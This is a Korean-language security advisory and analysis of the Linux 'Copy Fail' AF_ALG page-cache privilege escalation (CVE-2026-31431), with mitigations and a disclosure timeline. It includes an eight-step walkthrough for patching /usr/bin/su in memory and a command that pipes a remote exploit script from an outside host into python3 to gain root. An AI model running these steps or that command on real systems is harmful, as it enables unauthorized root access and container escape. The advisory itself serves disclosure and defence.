
CVE-2026-31431에 대한 개념 증명 익스플로잇으로, AF_ALG 페이지 캐시 쓰기를 통한 Linux 커널 로컬 권한 상승을 이용하여 주요 배포판에서 루트 권한을 획득합니다.
algif_aead 페이지 캐시 쓰기("Copy Fail")를 통한 로컬 권한 상승
작성자: Van Glenndon Enad
최초 발견: Theori / Xint Code Research Team (Taeyang Lee)
게시일: 2026년 4월 29일
심각도: 높음(High)
CVSS v3.1 점수: 7.8
CVSS v3.1 벡터: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-787(범위를 벗어난 쓰기), CWE-269(부적절한 권한 관리)
CVE-2026-31431은 공개적으로 "Copy Fail" 이라는 별칭으로 알려진, Linux 커널의 algif_aead 모듈(커널 사용자 공간 암호화 API(AF_ALG)의 AEAD 암호 인터페이스)에서 발생하는 높은 심각도의 로컬 권한 상승(LPE) 취약점입니다. 이 결함은 2017년 커밋 72548b093ee3을 통해 도입된 성능 최적화(제자리 연산)에서 비롯되었으며, 이로 인해 페이지 캐시에 백업된 파일 페이지가 AEAD 암호화 작업 중 쓰기 가능한 대상 scatterlist에 배치될 수 있게 되었습니다.
AF_ALG 소켓, splice() 시스템 호출, authencesn 알고리즘의 스크래치 쓰기 동작이라는 세 가지 커널 하위 시스템을 연결함으로써, 권한이 없는 로컬 사용자는 읽을 수 있는 모든 파일의 페이지 캐시에 통제된 4바이트 쓰기를 수행할 수 있습니다. /usr/bin/su와 같은 setuid 바이너리를 대상으로 하면, 이 쓰기는 디스크의 파일을 수정하지 않고 메모리 내 실행 이미지를 손상시켜 디스크 기반 파일 무결성 도구를 우회합니다. 결과적으로 root로의 권한 상승은 결정적(deterministic) 입니다. 경쟁 조건(race condition)이 없고, 배포판별 커널 오프셋이 필요 없으며, 특별한 권한도 요구되지 않습니다. 공개된 732바이트 Python PoC 익스플로잇은 수정 없이 단 한 번의 실행으로 Ubuntu, Amazon Linux, RHEL, SUSE에서 root 셸을 획득합니다.
이 취약점은 거의 9년 동안 모든 주류 Linux 배포판에 조용히 존재해 왔습니다. Theori에 따르면, AF_ALG는 사실상 모든 배포판의 기본 커널 구성에서 활성화되어 있으므로, 시스템이 취약해지기 위해 특별한 빌드 플래그나 구성이 필요하지 않습니다.
Linux 커널은 AF_ALG 소켓 인터페이스(crypto/algif_aead.c)를 통해 사용자 공간에 암호화 프리미티브를 노출합니다. 2017년, 불필요한 데이터 복사를 피하기 위해 algif_aead가 AEAD 연산을 제자리(in-place) 에서 수행할 수 있도록 하는 성능 최적화가 병합되었습니다. 즉, 소스 메모리 버퍼를 대상으로 재사용하는 방식입니다.
사용자 공간이 splice() 시스템 호출을 통해 AF_ALG 소켓에 입력을 공급할 때 결함이 발생합니다. 이 경우 소스 scatterlist에 배치된 페이지는 페이지 캐시 페이지입니다. 즉, splice된 파일을 뒷받침하는 공유된 커널 관리 메모리입니다. 제자리 최적화가 req->src = req->dst를 설정하기 때문에, 이러한 페이지 캐시 페이지는 쓰기 가능한 대상 scatterlist에 들어가게 됩니다. 이후 authencesn 알고리즘은 dst[assoclen + cryptlen]에서 스크래치 쓰기를 수행하며, 이는 해당 페이지 캐시 페이지 내의 오프셋으로 해석되어 사실상 공격자가 통제하는 데이터를 splice된 파일의 메모리 내 이미지에 쓰게 됩니다.
페이지 캐시는 컨테이너를 포함하여 호스트 전체에서 공유되므로, 한 프로세스의 쓰기는 동일한 커널을 사용하는 모든 프로세스와 컨테이너의 해당 파일 캐시 페이지에 영향을 미칩니다.
algif_aead.c의 문제가 되는 변경은 req->src = req->dst를 설정하고 sg_chain()을 통해 소스 scatterlist의 태그 페이지를 출력 scatterlist에 연결했습니다:
/* 2017 in-place optimization — commit 72548b093ee3 */
req->src = req->dst; /* source == destination */
sg_chain(dst, n + 1, src_tag); /* tag pages chained into writable dst */
splice()를 사용하여 파일을 소켓에 공급하면 scatterlist 페이지는 개인 익명 메모리가 아닌 페이지 캐시에 백업됩니다. 이를 쓰기 가능한 dst scatterlist에 연결하면 대상이 쓰기 가능한 개인 메모리라는 가정이 위반됩니다.
authencesn 스크래치 쓰기authencesn 템플릿은 dst[assoclen + cryptlen]에 시퀀스 번호 스크래치 값(seqno_lo, AAD의 4~7바이트)을 씁니다. dst에 이제 splice된 파일의 페이지 캐시 페이지가 포함되어 있으므로, 이 쓰기는 파일의 메모리 내 이미지 내 공격자가 통제하는 오프셋에 도달합니다:
/* authencesn scratch write — offset determined by assoclen + cryptlen */
scatterwalk_map_and_copy(seqno, dst,
req->assoclen + req->cryptlen,
sizeof(seqno), 1); /* writes into page cache */
쓰여진 4바이트는 seqno_lo에 해당하며, 공격자는 sendmsg()를 통해 전송된 AAD 페이로드를 통해 이를 통제합니다.
AF_ALG socket (SOCK_SEQPACKET)
│
│ splice() — delivers file-backed pages into socket
▼
algif_aead in-place optimization
│ req->src = req->dst
│ page-cache pages land in writable scatterlist
▼
authencesn scratch write
│ writes seqno_lo at dst[assoclen + cryptlen]
│ = attacker-chosen 4 bytes at attacker-chosen file offset
▼
page cache corruption (no on-disk change)
수정(a664bf3d603d)은 제자리 최적화를 완전히 되돌려 algif_aead가 이제 항상 제자리가 아닌(out-of-place) 방식으로 작동하여 별도의 대상 버퍼를 할당합니다. 소스와 대상이 이제 서로 다른 매핑에서 오므로, src의 페이지 캐시 페이지는 dst 쓰기 경로에 도달할 수 없습니다.
전제 조건에서 눈에 띄게 빠진 것: 네트워크 액세스, 커널 디버깅 기능, CAP_SYS_ADMIN, 사전 로드된 커널 모듈 또는 기존 프리미티브. 공격 표면은 완전히 로컬이며 자체 포함되어 있습니다.
Step 1: Attacker opens an AF_ALG AEAD socket (SOCK_SEQPACKET)
│ autoloads algif_aead module; no root required
▼
Step 2: Attacker opens the target setuid binary (e.g. /usr/bin/su) for reading
│ only read permission needed
▼
Step 3: splice() transfers pages of the target file into the AF_ALG socket
│ page-cache pages now in the source scatterlist
▼
Step 4: In-place optimization fires: req->src = req->dst
│ page-cache pages enter the writable destination scatterlist
▼
Step 5: authencesn decrypt path performs scratch write at dst[assoclen + cryptlen]
│ attacker controls assoclen, cryptlen, and the 4-byte seqno_lo value
▼
Step 6: Controlled 4-byte overwrite lands in the page cache of /usr/bin/su
│ in-memory binary is patched; on-disk file unchanged
▼
Step 7: Attacker executes `su` — corrupted in-memory image runs as root
│ setuid bit preserved; kernel executes attacker-patched code
▼
Step 8: Root shell obtained — privilege escalation complete
컨테이너 환경에서 6단계의 페이지 캐시 손상은 동일한 커널을 공유하는 호스트와 모든 형제 컨테이너로 전파되어 완전한 컨테이너 탈출을 가능하게 합니다.
PoC(copy_fail_exp.py, 732바이트)는 Python 3.10+ 표준 라이브러리 모듈인 os, socket, zlib만 사용합니다. 익스플로잇은 splice()를 통해 파일 페이지를 스테이징한 후 AF_ALG 소켓에 정밀하게 제작된 sendmsg() 페이로드를 구성하여 전송합니다.
/usr/bin/su ELF 패치기본 PoC는 /usr/bin/su를 대상으로 합니다. 4바이트 쓰기는 ELF 바이너리의 캐시된 페이지에서 특정 명령어를 패치하여 권한 검사 분기 또는 uid 검사를 no-op 또는 무조건 점프로 대체하므로, 이후 su가 실행될 때 setuid 실행 환경이 패치된 코드를 root로 실행합니다. 손상은 비영구적입니다. 페이지 축출 또는 재부팅 시 원래 바이너리가 복원됩니다.
일반적인 페이지 캐시 공격(예: Dirty COW)과 달리 Copy Fail은 경쟁 조건이 필요 없습니다. 쓰기 경로는 직선적입니다: splice() → sendmsg() → 스크래치 쓰기. 각 호출은 결정적이고 동기적이므로 하드웨어, 커널 버전, 배포판에 관계없이 익스플로잇의 신뢰성이 매우 높습니다.
경고: 이 PoC는 교육, 연구 및 승인된 테스트 목적으로만 제공됩니다. 소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에는 사용하지 마십시오.
표준 PoC는 Theori가 공식 저장소에서 유지 관리합니다. 외부 종속성이 없는 자체 포함된 732바이트 Python 3.10+ 스크립트입니다.
기본 사용법(/usr/bin/su 대상):
python3 copy_fail_exp.py
사용자 지정 setuid 대상:
python3 copy_fail_exp.py /usr/bin/sudo
한 줄 실행(공식 사이트에서):
curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)
표준 PoC의 SHA256:
a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
동일한 수정되지 않은 스크립트가 단일 tmux 세션에서 Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1 및 SUSE 16에서 root 셸을 획득하는 것이 공개적으로 시연되었습니다.
가장 중요한 영향 벡터는 다중 테넌트 환경입니다: 공유 개발 머신, Kubernetes 워커 노드, GitHub Actions 자체 호스팅 러너, GitLab/Jenkins CI 에이전트, 노트북 호스팅 플랫폼, 사용자 제공 코드가 일반 사용자 계정으로 실행되는 서버리스 환경. 패치되지 않은 커널을 실행하는 이러한 환경은 코드를 실행할 수 있는 모든 사용자에 의해 완전히 손상됩니다.
메인라인 수정 커밋 a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5가 포함된 버전으로 커널을 업그레이드하십시오:
공격 경로를 원천적으로 차단하기 위해 algif_aead 커널 모듈을 비활성화하십시오:
# Persist the block across reboots
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# Unload the module from the running kernel (if loaded)
rmmod algif_aead
이로 인해 중단되는 것: 이는 dm-crypt/LUKS, kTLS, IPsec/XFRM, SSH 또는 표준 OpenSSL/GnuTLS/NSS에는 영향을 미치지 않습니다.
afalgOpenSSL 엔진을 명시적으로 사용하거나aead소켓에 직접 바인딩하는 사용자 공간 애플리케이션에는 영향을 미칠 수 있습니다. 적용 전에lsof | grep AF_ALG로 확인하십시오.
seccomp를 통해 AF_ALG 소켓 생성을 차단하십시오 — seccomp 프로필의 거부 목록에 SOCK_SEQPACKET + AF_ALG를 추가하십시오.AF_ALG AEAD 소켓 생성을 감지하기 위해 노드 수준 커널 감사 규칙을 배포하십시오.AF_ALG SOCK_SEQPACKET 소켓을 여는 경우 경고 — 이는 익스플로잇의 필수 첫 단계입니다.su/sudo 실행과 AF_ALG 소켓 사용을 결합한 동작 신호를 모니터링하십시오.법적 고지: 본 분석 및 개념 증명은 교육, 연구 및 방어적 보안 목적으로만 게시됩니다. 작성자는 컴퓨터 시스템에 대한 무단 액세스를 용납하지 않습니다. 소유하지 않은 시스템에 대해 보안 테스트를 수행하기 전에 항상 명시적인 서면 허가를 받으십시오.
| 구성 요소 | 세부 사항 |
|---|
| 영향을 받는 하위 시스템 | crypto/algif_aead.c — Linux 커널 AF_ALG AEAD 인터페이스 |
| 취약점 도입 시점 | Linux 커널 4.14 (2017), 커밋 72548b093ee38a6d4f2a19e6ef1948ae05c181f7 |
| 수정된 버전 | 6.18.22, 6.19.12, 7.0 |
| 수정 커밋 | a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 |
| 검증된 배포판 | Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1, SUSE 16 |
| 암묵적으로 영향 | Debian, Arch, Fedora, Rocky, AlmaLinux, Oracle Linux 및 2017년 이후 빌드된 패치되지 않은 커널을 실행하는 모든 배포판 |
| 요구 사항 | 비고 |
|---|
| 로컬 권한 없는 사용자 계정 | 상승된 권한 불필요 |
| 2017년 이후 빌드된 커널(≥ 4.14) | 사실상 모든 주류 배포판 포함 |
AF_ALG(CONFIG_CRYPTO_USER_API) 활성화 | 사실상 모든 배포판 커널 구성에서 기본값 |
algif_aead 모듈 로드 가능/로드됨 | 첫 AF_ALG 소켓 생성 시 자동 로드 |
읽을 수 있는 setuid 바이너리 1개 이상 | 예: /usr/bin/su, /usr/bin/sudo |
| Python 3.10+ (공개 PoC용) | 표준 라이브러리의 os, socket, zlib만 사용 |
| 매개변수 | 공격자 통제 | 메커니즘 |
|---|
| 대상 파일 | 공격자가 읽을 수 있는 모든 파일 | splice()에 전달 |
| 쓰기 오프셋 | assoclen + cryptlen | sendmsg()의 소켓 옵션으로 설정 |
| 쓰기 값(4바이트) | seqno_lo | sendmsg()의 AAD 페이로드 4~7바이트 |
| 범주 | 설명 |
|---|
| 기밀성 | root로서 호스트의 모든 파일에 대한 전체 읽기 액세스 |
| 무결성 | 임의 파일 쓰기, 백도어 설치, /etc/passwd 또는 /etc/shadow 수정 가능 |
| 가용성 | 완전한 호스트 장악, 서비스 중단 가능 |
| 인증 | 로컬 사용자 계정 외에 필요한 자격 증명 없음 |
| 컨테이너 탈출 | 페이지 캐시는 호스트 전체에서 공유됨 — 로컬 셸이 있는 파드는 노드를 손상시키고 테넌트 경계를 넘을 수 있음 |
| CI/CD 파이프라인 | 자체 호스팅 러너에서 실행된 신뢰할 수 없는 풀 리퀘스트가 러너 호스트에서 root가 됨 |
| 지속성 | 사후 익스플로잇: SSH 키 주입, cron 작업, 커널 모듈 설치 — 모두 사소하게 달성 가능 |
| 포렌식 회피 | 디스크의 바이너리는 절대 수정되지 않음, 파일 무결성 모니터(FIM), AIDE, Tripwire는 변경 사항을 감지하지 못함 |
| 배포판 | 수정된 커널 버전 |
|---|
| 업스트림 Linux | 6.18.22, 6.19.12, 7.0 |
| Ubuntu 24.04 LTS | 공급업체 패치 사용 가능 — apt update && apt upgrade |
| Amazon Linux 2023 | 공급업체 패치 사용 가능 — dnf update kernel |
| RHEL 10.1 | Red Hat 패치 진행 중 — AlmaLinux가 업스트림 수정 제공 |
| SUSE 16 | 공급업체 패치 사용 가능 — zypper update kernel-default |
| 날짜 | 이벤트 |
|---|
| 2026-03-23 | Theori가 Linux 커널 보안 팀에 취약점 보고 |
| 2026-03-24 | 초기 확인 응답 수신 |
| 2026-03-25 | 패치 제안 및 커널 유지 관리자 검토 |
| 2026-04-01 | 메인라인에 수정 커밋(a664bf3d603d) |
| 2026-04-22 | CVE-2026-31431 지정 |
| 2026-04-29 | copy.fail에서 공개 공개, GitHub에 PoC 게시 |
| 2026-04-30 | AlmaLinux가 업스트림 수정을 사용하여 패치된 커널 제공 |
| 2026-04-30 | Microsoft 보안 블로그, Sophos, Sysdig, Bugcrowd 분석 게시 |
| 2026-05-01 | Kubernetes 컨테이너 탈출 PoC 게시 |
| 2026-05-02 | 독립 분석 및 문서 게시 |